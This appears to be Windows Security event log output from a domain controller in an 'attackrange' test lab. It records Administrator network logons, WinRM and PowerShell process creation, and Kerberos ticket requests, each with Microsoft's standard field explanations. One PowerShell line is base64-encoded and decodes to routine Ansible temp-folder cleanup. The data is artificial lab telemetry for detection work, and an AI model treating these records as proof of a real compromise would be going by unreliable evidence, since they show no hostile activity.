Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252438
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D57F

Process Information:
	New Process ID:		0x928
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252437
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D57F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252436
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D57F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252435
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252434
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252433
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252432
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D548

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252431
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252430
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15914E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252429
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x156A5A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252428
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15A0B9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252427
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BE41

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252426
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154E65

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252425
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D548

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252424
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D548
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252423
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252422
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252421
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252420
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D52C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252419
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D52C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252418
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D52C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252417
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252416
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252415
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252414
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15C33E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252413
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x95c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1268
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA5ADMALgAzADcANgA4ADUAMAA4AC0AMgA2ADUAMQA4ADkAMQAwADUANwA4ADkAOAAwADEAIgAgAC0ARgBvAHIAYwBlACAALQBSAGUAYwB1AHIAcwBlADsACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252412
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15C33E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252411
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15C33E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252410
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

